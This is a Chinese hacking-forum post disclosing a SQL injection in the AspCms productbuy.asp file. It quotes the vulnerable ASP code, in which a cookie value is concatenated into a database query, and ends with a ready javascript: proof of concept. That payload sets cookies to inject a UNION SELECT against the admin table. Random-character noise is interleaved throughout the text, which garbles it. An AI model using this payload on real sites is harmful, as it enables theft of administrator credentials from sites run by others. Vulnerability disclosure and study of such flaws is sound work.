好久没上土司了,上来一看发现在删号名单内.....
4 R5 ?- P. ~/ N1 T; I* m3 B& d也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。% |3 G. x6 S. @9 Z- X9 ~
废话不多说,看代码:/ D! e6 ^ ^9 K6 b
8 P; Y$ N+ L3 B& r+ F+ D& @<%' F. _$ W# P; z t9 I: n" r
, z8 H6 J+ H5 @/ D6 K
if action = "buy" then
% _: |1 J1 h- ~. T/ ]+ K" p' n% y$ e3 X+ V
addOrder()) U C; c! P# R" u1 x
~( p3 A% E% @9 p! ~" |8 b2 Kelse7 n. z% c' G9 M
& ^9 j5 E' l |# H1 \
echoContent()# B' R% k% r$ E$ \, z& W
) @, N5 [3 i# |1 Y: pend if. I' Z _+ E; a0 z9 |
7 x3 j% u, I# r) o* ~
+ e, F. S& H% c2 \' }0 C D2 b, @' S5 O) x1 E0 }6 L2 |
……略过2 u N# [. q' I0 T: T H% k
7 v3 P- R3 M M/ b7 X, x' I9 A
! p0 w1 ~8 g* l- |Sub echoContent()
( G* T( \0 O0 G) _4 c' x
2 P% P# x4 ]% V dim id. f) G2 B5 ~5 ? q# h; K7 m7 G
1 J2 F; b) ?% f2 ~. \ id=getForm("id","get")
( b- e' Y# ]# z- G+ t0 r& _2 c+ i+ s, Q4 e
* B( ~1 f. w8 ?7 [
! v0 ?- m1 {+ W9 p I
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" * h/ J4 ]' o. U. h
; ^! l v1 E' E/ _/ l( z! w
6 q1 X4 x' V4 S3 d5 i H% N5 ]7 z. D8 d7 @! O
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ C2 E9 i( ^: d2 c
d! f4 L) j6 B" Y
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct; b/ w5 s; s s4 F2 H) d* O
* V0 _5 g' [# k8 |9 j# ^
Dim templatePath,tempStr9 t( d T- S) \' [. {
& w$ c1 r, i6 v: W
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
: d3 m: k) S) r% _
% O& s" b: `' c3 j" ?) n H6 I, z5 v4 o: s
- Z b; z- H5 @5 c
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
8 C/ Z0 I' r% @8 J* F; D& {, p5 _4 W! L5 g9 h' J5 O
selectproduct=rsObj(0)
F% }: W3 g5 v
8 L' y7 A; D) X: _/ v . c& i2 X% _9 g; ?7 q
, \2 g$ c5 j3 D Dim linkman,gender,phone,mobile,email,qq,address,postcode
, k6 `# b( f* m+ S: X! v7 [
, h6 M8 Y1 _- P1 M& g8 s( B6 M9 d if isnul(rCookie("loginstatus")) then wCookie"loginstatus",02 e6 \5 J! b5 y
3 w8 j! k9 f3 F% l' L {% w* w if rCookie("loginstatus")=1 then
' z+ A, P7 l# \7 Y& i( d r
/ W: _( r! `; d# B" U set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"); v$ M1 F' f! ?/ B
( @+ b; E! e0 A+ o6 X. \& @0 O- V
linkman=rsObj("truename")9 |' V: o9 ~0 |, k$ I* N
, E7 s; ~9 N' Q3 U' h5 {$ o
gender=rsObj("gender")
: i2 I) i9 Y/ h0 l, k1 K- V1 i, a; v" g$ c! l" o
phone=rsObj("phone")
% ]& p2 m* N6 ^% A, b
8 W5 m& o- o6 f; J2 S mobile=rsObj("mobile")# T- [ p' n% f4 u
% p V7 M. |! M
email=rsObj("email")
2 ~) |+ f! P: T: D8 q* S' a" t& \9 N n4 ^
qq=rsObj("qq")
6 A/ y, p3 M1 |$ V. Q* ~" q, c5 S# I2 s
address=rsObj("address"). o& p7 w" U; T3 A
9 `3 N& ?/ C" I0 g: K postcode=rsObj("postcode")7 N$ E) H8 ?% b: @, ^
6 Z; {5 R, o( x9 b* T+ v
else M3 `2 f0 n G h6 n1 V8 o
) C$ {2 m8 g+ O8 N1 d' u) g gender=1( c1 k {& n4 b3 `' x/ ~! A/ `
% o+ L' z7 k5 b& k) G! i/ `; H
end if, w- }) {; H0 m+ M3 l- ^' Z
3 x7 W/ o+ b; \8 p8 e rsObj.close()
8 E. e# z, z6 y1 ]" g3 M
3 p k3 j8 p! C2 q7 @# f R4 L. E: i" x/ S/ B O
* P5 M4 v+ R! `* {& H5 _1 r, T1 i
with templateObj & W; [' X' ^5 `1 o7 K9 m6 d4 N
& t) m) F8 m8 [9 j
.content=loadFile(templatePath) 8 t( ]1 T& e3 y5 D! K" m# ~7 j4 G5 S
5 y! w# q1 T8 O .parseHtml()
: V* A, W2 e" b2 B: O% K5 D4 o
5 S% x( r& O! m1 ^4 t- P .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)$ u/ H0 S% V4 U# O; |% j5 G) C; L
; A9 z+ \& h" p$ x8 Z! s. E .content=replaceStr(.content,"[aspcms:linkman]",linkman) ( {+ ?9 J: `5 |! p, ]/ s& R
4 Q2 M4 w& e2 ^8 B2 U8 s
.content=replaceStr(.content,"[aspcms:gender]",gender) 5 l7 j; n a: h
2 h) }5 d+ V' P
.content=replaceStr(.content,"[aspcms:phone]",phone)
3 s" _- i- t! A2 y
: c" z% S3 L) W .content=replaceStr(.content,"[aspcms:mobile]",mobile) : c8 S1 B& n; C* U
$ `$ G* p# A8 ^& C8 w; b2 o
.content=replaceStr(.content,"[aspcms:email]",email) 3 C, V/ D1 a9 g k8 L
) U; X ]6 r. x+ g9 E" ?( x
.content=replaceStr(.content,"[aspcms:qq]",qq)
; q1 \9 M5 ~* V& W
2 R) K9 m7 ?# p' @. b5 j6 W .content=replaceStr(.content,"[aspcms:address]",address) % |, R! y+ J7 g( P" b' m1 S
3 s5 r: ?+ ~! A) N$ p) ^0 m
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
( T, q# V# } h
j/ l8 X, x* b( C1 U1 j .parseCommon() 2 [5 |. c! y* h) }
* ?- j6 P2 Z l8 q' T$ R
echo .content
. x5 H. h/ r0 \4 y0 H& Q" Z' ~! f; ?9 ^+ } j
end with4 [$ P3 x: C0 ^5 \' c, v
, q7 b3 J$ t6 C- c }
set templateobj =nothing : terminateAllObjects* |7 X& L+ p$ f4 i
3 Q" M- ^ B P! _5 c" T4 kEnd Sub( l# k; }6 r5 ?" w( W( i6 |
漏洞很明显,没啥好说的& i1 g7 C. S' }# v8 P3 C+ f! i
poc:/ x; N+ S6 P7 C8 N* \+ b
J4 D. o/ Z7 d& Ljavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子( f- v5 P2 g% m6 B
& s9 e) r1 N+ @ |